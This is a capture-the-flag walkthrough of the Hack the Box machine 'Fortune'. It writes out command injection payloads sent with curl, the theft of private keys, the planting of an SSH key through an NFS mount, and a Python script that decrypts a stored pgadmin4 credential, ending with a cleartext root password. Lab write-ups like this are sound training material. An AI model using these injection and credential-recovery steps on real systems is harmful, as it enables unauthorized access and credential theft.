Hack the Box – Fortune Walkthrough

Today, we’re going to solve another CTF machine “Fortune”. It is now retired box and can be accessible to VIP member.


  • Target OS: FreeBSD
  • IP Address:
  • Difficulty: Insane


  • Getting user
  • Getting root


As always, the first step consists of reconnaissance phase as port scanning.

Ports Scanning

During this step, we’re gonna identify the target to see what we have behind the IP Address.

nmap -sS -sU -T4 -A -v

22/tcp    open     ssh           OpenSSH 7.9 (protocol 2.0)
80/tcp    open     http          OpenBSD httpd
|_http-server-header: OpenBSD httpd
|_http-title: Fortune
443/tcp   open     ssl/https?
1629/tcp  filtered lontalk-urgnt
18391/tcp filtered unknown
19935/tcp filtered unknown
20041/tcp filtered unknown
38257/tcp filtered unknown
47229/tcp filtered unknown

Enumerating Port 80

The URL reveals nothing but a POST_Method form which takes input as radio buttons and submit them.


However, if you Intercept the request the parameter db reveals RCE vulnerability.

Burp Suite


curl -s --data "db=recipes;ls -la" "http://fortune.htb/select"

After doing some enumerating we were able to retrieve SSL public and private key.

Public Certs

curl -s --data "db=recipes;ls -la /home/bob/ca/intermediate/certs" "http://fortune.htb/select"

Private Key

curl -s --data "db=recipes;ls -la /home/bob/ca/intermediate/private" "http://fortune.htb/select"

Convert a PEM Certificate to PFX format Read More Here!

openssl pkcs12 -export -out cert.p12 -in intermediate.cert.pem -inkey intermediate.key.pem -passin pass:root -passout pass:root

This will create cert.p12 file which we can import through firefox and load https://fortune.htb

After that click on the generate.

This will create public key and private key for you to ssh.

However, if you try to ssh to bob it won’t work.

ssh -i private-key nfsuser@fortune.htb

The nfsuser hints towards NFS shares let’s check if there’s any other ports opened.


mount -o nolock fortune.htb:/home mount/

After mounting to access charlie directory you have to add another user.

Now, moving forward if we take a look at mbox this shows.

If we go to .ssh directory we have write permission to it let’s copy our public key which the website generated for us and echo “key” > auth…_key


ssh -i private-key charlie@fortune.htb

Privilege Escalation

If we search for pgadmin4 we found these directories and files related to this.

find / -name pgadmin4 -type d 2>/dev/null

We found these

fortune$ find / -name pgadmin4 -type d 2>/dev/null /usr/local/pgadmin4 /usr/local/pgadmin4/.virtualenvs/pgadmin4 /var/log/pgadmin4 /var/www/htdocs/pgadmin4 /var/www/run/pgadmin4 /var/appsrv/pgadmin4

If you take a look inside /usr/local/pgadmin4/pgadmin4-3.4/web/config_local.py.

LOG_FILE = '/var/log/pgadmin4/pgadmin4.log' SQLITE_PATH = '/var/appsrv/pgadmin4/pgadmin4.db' SESSION_DB_PATH = '/var/appsrv/pgadmin4/sessions' STORAGE_DIR = '/var/appsrv/pgadmin4/storage'

There’s an SQL database Path.


Let’s download it into out machine.

scp -i private-key charlie@fortune.htb:/var/appsrv/pgadmin4/pgadmin4.db .

There’s a pre-installed software in Kali DB Browser for SQLite

If we take a look at server table it includes some salted hashes.

Username: dba Password: utUU0jkamCZDmqFLOrAuPjFxL0zp8zWzISe5MF0GY/l8Silrmu3caqrtjaVjLQlvFFEgESGz

We have to crack the Password. But let’s find out which hash is this.

The application is open sourced so if we take a look at github source code for cryptography we found this crypto.py.

There’s some functions which we have to take a look at and then decrypt the hash using hints from that crypto.py.


from __future__ import division
import base64
import hashlib
import os
import six
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.ciphers import Cipher
from cryptography.hazmat.primitives.ciphers.algorithms import AES
from cryptography.hazmat.primitives.ciphers.modes import CFB8

padding_string = b'}'
iv_size = AES.block_size // 8

def pad(key):
    """Add padding to the key."""

    if isinstance(key, six.text_type):
        key = key.encode()

    # Key must be maximum 32 bytes long, so take first 32 bytes
    key = key[:32]

    # If key size is 16, 24 or 32 bytes then padding is not required
    if len(key) in (16, 24, 32):
        return key

    # Add padding to make key 32 bytes long
    return key.ljust(32, padding_string)

def decrypt(ciphertext, key):
    Decrypt the AES encrypted string.

        ciphertext -- Encrypted string with AES method.
        key        -- key to decrypt the encrypted string.

    ciphertext = base64.b64decode(ciphertext)
    iv = ciphertext[:iv_size]

    cipher = Cipher(AES(pad(key)), CFB8(iv), default_backend())
    decryptor = cipher.decryptor()
    return decryptor.update(ciphertext[iv_size:]) + decryptor.finalize()

ciphertext = raw_input("hash : ")
key = raw_input("key : ")
password = decrypt(ciphertext,key)

print "[*] Password : " + password

There’s one more thing which is bob hash the one we found in users table.



hash : utUU0jkamCZDmqFLOrAuPjFxL0zp8zWzISe5MF0GY/l8Silrmu3caqrtjaVjLQlvFFEgESGz
key : $pbkdf2-sha512$25000$z9nbm1Oq9Z5TytkbQ8h5Dw$Vtx9YWQsgwdXpBnsa8BtO5kLOdQGflIZOQysAy7JdTVcRbv/6csQHAJCAIJT9rLFBawClFyMKnqKNL5t3Le9vg
[*] Password : R3us3-0f-a-P4ssw0rdl1k3th1s?_B4D.ID3A!

Now, that we have a password we can su root since the mail we found suggested using similar password as dba database.